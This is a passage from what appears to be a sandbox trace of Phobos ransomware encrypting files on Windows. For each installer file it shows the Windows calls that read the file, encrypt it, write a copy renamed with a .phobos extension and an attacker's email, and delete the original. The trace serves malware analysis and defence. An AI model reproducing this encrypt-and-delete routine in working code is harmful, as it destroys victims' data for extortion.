Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xde0, dwBufLen=0xde0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xde0) returned 1 [0045.887] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xde0, lpOverlapped=0x0) returned 1 [0045.888] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc90) returned 1 [0045.888] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.888] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0045.888] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0045.888] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0045.888] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0045.888] CloseHandle (hObject=0x334) returned 1 [0045.888] CloseHandle (hObject=0x328) returned 1 [0045.889] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0045.890] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.890] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.891] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=79296) returned 1 [0045.891] CloseHandle (hObject=0x328) returned 1 [0045.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0045.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.891] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.891] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.891] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.891] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.891] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcad0) returned 1 [0045.891] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.891] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x135c0, lpOverlapped=0x0) returned 1 [0045.919] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x135d0, dwBufLen=0x135d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x135d0) returned 1 [0045.919] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x135d0, lpOverlapped=0x0) returned 1 [0045.920] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc590) returned 1 [0045.920] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.920] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0045.920] CryptDestroyKey (hKey=0x10dc590) returned 1 [0045.921] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0045.921] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0045.921] CloseHandle (hObject=0x328) returned 1 [0045.921] CloseHandle (hObject=0x334) returned 1 [0045.923] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0045.924] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.924] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.924] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=82374) returned 1 [0045.924] CloseHandle (hObject=0x334) returned 1 [0045.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0045.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.924] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.924] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.925] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.925] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.925] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0045.925] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.925] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x141c6, lpOverlapped=0x0) returned 1 [0045.939] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x141d0, dwBufLen=0x141d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x141d0) returned 1 [0045.939] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x141d0, lpOverlapped=0x0) returned 1 [0045.941] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc550) returned 1 [0045.941] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.941] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0045.941] CryptDestroyKey (hKey=0x10dc550) returned 1 [0045.941] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0045.941] CryptDestroyKey (hKey=0x10dc810) returned 1 [0045.941] CloseHandle (hObject=0x334) returned 1 [0045.941] CloseHandle (hObject=0x328) returned 1 [0045.943] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0045.944] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0045.944] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.944] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=80738) returned 1 [0045.944] CloseHandle (hObject=0x328) returned 1 [0045.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0045.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.945] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.945] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.945] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0045.945] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0045.945] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0045.945] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0045.945] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x13b62, lpOverlapped=0x0) returned 1 [0046.051] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x13b70, dwBufLen=0x13b70 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x13b70) returned 1 [0046.051] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x13b70, lpOverlapped=0x0) returned 1 [0046.052] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc6d0) returned 1 [0046.052] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.052] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0046.053] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0046.053] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0046.053] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0046.053] CloseHandle (hObject=0x328) returned 1 [0046.053] CloseHandle (hObject=0x334) returned 1 [0046.054] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0046.056] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.056] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.056] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3865) returned 1 [0046.056] CloseHandle (hObject=0x334) returned 1 [0046.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0046.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.056] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.056] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.056] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.056] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.057] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc790) returned 1 [0046.057] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.057] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xf19, lpOverlapped=0x0) returned 1 [0046.121] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xf20, dwBufLen=0xf20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xf20) returned 1 [0046.121] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf20, lpOverlapped=0x0) returned 1 [0046.122] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca10) returned 1 [0046.122] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.123] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0046.123] CryptDestroyKey (hKey=0x10dca10) returned 1 [0046.123] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0046.123] CryptDestroyKey (hKey=0x10dc790) returned 1 [0046.123] CloseHandle (hObject=0x334) returned 1 [0046.123] CloseHandle (hObject=0x328) returned 1 [0046.124] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0046.126] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.126] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.127] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=77680) returned 1 [0046.127] CloseHandle (hObject=0x328) returned 1 [0046.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0046.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.127] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.127] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.127] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.127] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.127] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0046.127] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.127] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12f70, lpOverlapped=0x0) returned 1 [0046.404] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12f80, dwBufLen=0x12f80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12f80) returned 1 [0046.404] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12f80, lpOverlapped=0x0) returned 1 [0046.406] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc850) returned 1 [0046.406] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.406] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0046.406] CryptDestroyKey (hKey=0x10dc850) returned 1 [0046.406] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0046.406] CryptDestroyKey (hKey=0x10dc810) returned 1 [0046.406] CloseHandle (hObject=0x328) returned 1 [0046.406] CloseHandle (hObject=0x334) returned 1 [0046.408] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0046.409] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.409] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.409] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=76818) returned 1 [0046.409] CloseHandle (hObject=0x334) returned 1 [0046.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0046.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.410] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.410] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.410] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.410] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.410] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0046.410] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.410] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12c12, lpOverlapped=0x0) returned 1 [0046.487] CryptEncrypt 